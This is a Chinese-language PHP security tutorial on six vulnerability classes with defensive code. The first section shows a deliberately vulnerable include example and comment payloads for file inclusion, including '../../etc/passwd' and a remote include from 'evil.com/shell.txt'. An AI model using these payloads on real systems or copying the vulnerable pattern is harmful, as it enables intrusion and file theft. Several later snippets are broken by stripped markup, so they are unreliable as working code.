首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 程式常見漏洞成因分析與防護實戰指南

     編輯:PHP 綜合知識

前言

PHP 入門門檻低、部署容易,導致大量新手開發者在缺乏安全意識下編寫程式。本文針對六大經典漏洞類型,深入剖析成因、展示攻擊場景、提供可落地的防護代碼與最佳實踐。


漏洞一:濫用 include/require 導致任意檔案包含(LFI/RFI)

成因分析

直接將用戶可控參數($_GET、$_POST、$_COOKIE)作為 include、require、include_once、require_once、readfile() 等函數的參數,且未做任何驗證。

攻擊示例

<?php
$page = $_GET['page'];
include($page); // 危險!

// 攻擊載荷:
// ?page=../../etc/passwd          -> 讀取系統敏感檔案(LFI)
// ?page=https://evil.com/shell.txt -> 遠端包含惡意代碼(RFI,需 allow_url_include=On)
// ?page=../logs/access.log        -> 包含日誌檔,若日誌含 PHP 代碼則執行

防護方案

  1. 白名單機制(最推薦):預先定義允許包含的檔案清單,僅接受清單內的值。
  2. 路徑正規化與限制:使用 realpath() 解析絕對路徑,確保在允許目錄內。
  3. 禁用遠端包含:php.ini 設定 allow_url_include = Off(PHP 5.2+ 預設關閉)。

安全代碼範例

<?php
// 1. 定義白名單
$allowed_pages = [
    'home'     => 'pages/home.php',
    'about'    => 'pages/about.php',
    'contact'  => 'pages/contact.php',
    'products' => 'pages/products.php',
];

// 2. 獲取並驗證參數
$page_key = $_GET['page'] ?? 'home';

if (!isset($allowed_pages[$page_key])) {
    http_response_code(404);
    exit('頁面不存在');
}

// 3. 安全包含
$file = $allowed_pages[$page_key];
// 額外防禦:確保檔案在預期目錄內
$base_dir = realpath(__DIR__ . '/pages');
$real_file = realpath($file);
if ($real_file === false || strpos($real_file, $base_dir) !== 0) {
    exit('非法路徑');
}

include $real_file;

漏洞二:未對輸入變量過濾導致注入攻擊

成因分析

直接將用戶輸入拼接進 SQL 語句、Shell 命令、檔案寫入、HTML 輸出等上下文,未經轉義或參數化處理。

主要攻擊向量

類型危險函數/場景後果
SQL 注入mysql_query()、mysqli_query() 拼接字串資料洩露、竄改、刪除、提權
命令注入exec()、shell_exec()、system()、passthru()、反引號伺服器完全控制權
XSS (跨站腳本)直接 echo $_GET['x'] 於 HTML/JS/CSS 內盜取 Cookie、鍵盤記錄、釣魚、蠕蟲傳播
檔案寫入注入fwrite() 寫入日誌/文字資料庫植入 Webshell、破壞資料完整性
LDAP/XML/Header 注入對應協定構建處繞過認證、資料洩露、HTTP 響應分割

防護核心原則

  1. 永遠不信任任何外部輸入:包括 $_GET、$_POST、$_COOKIE、$_SERVER(部分)、$_FILES、HTTP 標頭、資料庫讀取資料、第三方 API 回應。
  2. 輸出時轉義:根據輸出上下文選擇正確編碼函數。
  3. 使用參數化/預處理:資料庫操作強制使用 Prepared Statements。
  4. 最小權限原則:資料庫用戶僅擁有必要權限;Web 目錄不可寫入可執行檔。

各上下文防護代碼

1. SQL 防注入:PDO Prepared Statements

<?php
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4', 'user', 'pass', [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false, // 使用真實預處理
]);

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND status = ?');
$stmt->execute([$_POST['email'], 1]);
$user = $stmt->fetch();

2. HTML 輸出防 XSS

<?php
// HTML 內容區塊
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');

// HTML 屬性值(已用雙引號包裹)
echo '';

// JavaScript 字串字面量(需 JSON 編碼)
echo '';

// URL 參數值
echo '搜尋';

// CSS 值(極少見,需專用編碼器)

3. 命令執行防注入

<?php
// 盡量避免執行外部命令,若必須:
$filename = basename($_GET['file']); // 僅取檔名
$safe_file = escapeshellarg($filename); // 單引號包裹並轉義內部單引號
exec("convert {$safe_file} thumb_{$safe_file}");

4. 檔案寫入安全(文字資料庫/日誌)

<?php
function sanitize_for_log($text) {
    // 移除控制字元、限制長度、統一換行
    $text = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $text);
    $text = mb_substr($text, 0, 2000, 'UTF-8');
    $text = str_replace(["\r\n", "\r", "\n"], '\n', $text);
    return $text;
}

$log_line = date('c') . ' | ' . sanitize_for_log($_POST['msg']) . "\n";
file_put_contents('/var/log/app.log', $log_line, FILE_APPEND | LOCK_EX);

漏洞三:管理員權限判斷邏輯缺陷

成因分析

僅有「肯定判斷」(if ($is_admin)),缺少「否定判斷」(else { $is_admin = false; })。配合舊版 PHP register_globals = On(PHP 4.2.0 後預設關閉,但許多舊環境仍開啟),攻擊者可透過 URL 參數 ?is_admin=1 直接覆蓋變數。

演進式修復

階段 1:補上否定分支

<?php
$is_admin = false; // 預設值
if ($_COOKIE['admin_token'] === ADMIN_TOKEN) {
    $is_admin = true;
} else {
    $is_admin = false; // 明確重置
}

階段 2:使用常量防止二次賦值

<?php
define('IS_ADMIN', $_COOKIE['admin_token'] === ADMIN_TOKEN);

// 後續代碼
if (IS_ADMIN) { ... }
// 嘗試修改 IS_ADMIN 會觸發錯誤:Can't redefine constant

階段 3:現代最佳實踐 - Session + 中介層

<?php
// auth_middleware.php
session_start();

function require_admin() {
    if (empty($_SESSION['user_id']) || !$_SESSION['is_admin']) {
        http_response_code(403);
        exit('權限不足');
    }
}

// 控制器
require_once 'auth_middleware.php';
require_admin();
// 此處已確認為管理員

漏洞四:文字資料庫檔案直接暴露

成因

使用 .txt、.dat、.inc 等副檔名儲存資料,Web 伺服器預設直接作為靜態檔案下載,導致資料洩露。

防護方案

  1. 改用 .php 副檔名,檔案開頭加入 <?php exit(); 或 <?php die('Access denied');。
  2. 存放於 Web 根目錄外(最徹底),如 /data/app.db.php,腳本用絕對路徑 include。
  3. Web 伺服器層面阻擋:Nginx location ~ \.dat$ { deny all; },Apache <Files "*.dat"> Require all denied </Files>。

安全範例

<?php exit(); // 直接存取此檔案會在此終止
/*
admin|$2y$10$...|1
user1|$2y$10$...|0
*/

漏洞五:錯誤訊息洩露伺服器真實路徑

風險

PHP 預設錯誤輸出包含絕對路徑、行號、程式碼片段:

Warning: include(../config.php): failed to open stream in /var/www/html/project/index.php on line 15

攻擊者可推斷目錄結構、框架版本、敏感檔案位置,輔助進一步攻擊。

防護策略:分環境配置

環境display_errorslog_errorserror_logerror_reporting
開發/測試OnOn/var/log/php_dev.logE_ALL
預發布/StagingOffOn/var/log/php_staging.logE_ALL & ~E_NOTICE
生產OffOn/var/log/php_prod.logE_ALL & ~E_DEPRECATED & ~E_STRICT

進階:自定義錯誤處理器(兼顧安全與除錯)

<?php
// bootstrap.php 或框架入口
function customErrorHandler($errno, $errstr, $errfile, $errline) {
    // 1. 記錄完整資訊到日誌(含堆疊)
    $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 5);
    $log = "[{$errno}] {$errstr} in {$errfile}:{$errline}\n";
    $log .= "Stack trace:\n" . json_encode($trace, JSON_PRETTY_PRINT) . "\n---\n";
    error_log($log, 3, '/var/log/php_custom_errors.log');

    // 2. 生產環境:不顯示任何技術細節
    if (ENVIRONMENT === 'production') {
        // 僅記錄,不輸出;或輸出友好頁面
        if ($errno & (E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR)) {
            // 致命錯誤可選擇顯示 500 頁面
            include __DIR__ . '/templates/500.php';
            exit(1);
        }
        return true; // 不執行內建處理器
    }

    // 3. 開發環境:顯示格式化錯誤(可整合 Whoops 等美化庫)
    $display_types = E_ERROR | E_WARNING | E_PARSE | E_NOTICE | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;
    if ($errno & $display_types) {
        echo "
";
        echo htmlspecialchars("[$errno] $errstr\nFile: $errfile:$errline");
        echo "
"; } return true; } set_error_handler('customErrorHandler'); // 異常處理器 set_exception_handler(function (Throwable $e) { customErrorHandler(E_ERROR, $e->getMessage(), $e->getFile(), $e->getLine()); if (ENVIRONMENT !== 'production') { echo "
" . htmlspecialchars($e->getTraceAsString()) . "
"; } });

漏洞六:POST 表單缺乏 CSRF 保護與重複提交防禦

攻擊場景

  • CSRF (跨站請求偽造):誘導已登入用戶訪問惡意頁面,自動提交表單修改密碼、轉帳、發文。
  • 重複提交/灌水:用戶連點提交、腳本批量 POST、爬蟲模擬提交。
  • 外部提交:非本站表單頁面直接向處理端點發請求。

綜合防護代碼

<?php
session_start();

// 1. 生成/驗證 CSRF Token
function generate_csrf_token() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function validate_csrf_token($token) {
    return isset($_SESSION['csrf_token']) 
        && hash_equals($_SESSION['csrf_token'], $token); // 防時序攻擊
}

// 2. 表單頁面:植入 Token
// 
// // ... //
// 3. 處理端點:多層驗證 if ($_SERVER['REQUEST_METHOD'] !== 'POST') { http_response_code(405); exit('Method Not Allowed'); } // 3.1 CSRF 驗證 if (!validate_csrf_token($_POST['csrf_token'] ?? '')) { http_response_code(403); exit('CSRF Token 無效或已過期,請重新整理表單頁面'); } // 3.2 來源檢查(輔助,不可完全依賴 Referer) $referer = $_SERVER['HTTP_REFERER'] ?? ''; $allowed_host = parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST); if ($referer && parse_url($referer, PHP_URL_HOST) !== $allowed_host) { // 記錄可疑來源,但不強制阻擋(部分瀏覽器/代理不送 Referer) error_log("可疑 Referer: $referer"); } // 3.3 頻率限制:同用戶 2 分鐘內僅允許 1 次提交 $user_id = $_SESSION['user_id'] ?? 0; $last_post = $_SESSION['last_post_time'][$user_id] ?? 0; if (time() - $last_post < 120) { http_response_code(429); exit('操作過於頻繁,請 2 分鐘後再試'); } // 3.4 內容去重:防止完全相同內容重複入庫 $content_hash = hash('sha256', serialize($_POST)); if (isset($_SESSION['last_content_hash'][$user_id]) && $_SESSION['last_content_hash'][$user_id] === $content_hash) { exit('請勿提交重複內容'); } // 3.5 業務邏輯處理... // $result = save_post($_POST); // 3.6 更新狀態 $_SESSION['last_post_time'][$user_id] = time(); $_SESSION['last_content_hash'][$user_id] = $content_hash; // 3.7 旋轉 CSRF Token(單次使用模式,視業務決定) // unset($_SESSION['csrf_token']);

總結:安全開發檢查清單

  1. 所有 include/require 參數白名單化
  2. 資料庫操作 100% 使用 Prepared Statements
  3. 輸出上下文精準轉義(HTML/JS/URL/CSS/SQL/Shell)
  4. 關閉 display_errors、啟用錯誤日誌、自定義錯誤處理器
  5. 敏感資料檔案存放於 Web 根目錄外或加 <?php exit() 保護
  6. 權限判斷採用「預設拒絕、顯式授權」、使用常量/Session 防篡改
  7. 所有狀態改變操作(POST/PUT/DELETE)強制驗證 CSRF Token
  8. 實施頻率限制、內容去重、異常行為記錄與告警
  9. 定期進行代碼審計、依賴掃描、滲透測試
  10. 建立安全事件應急響應流程
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved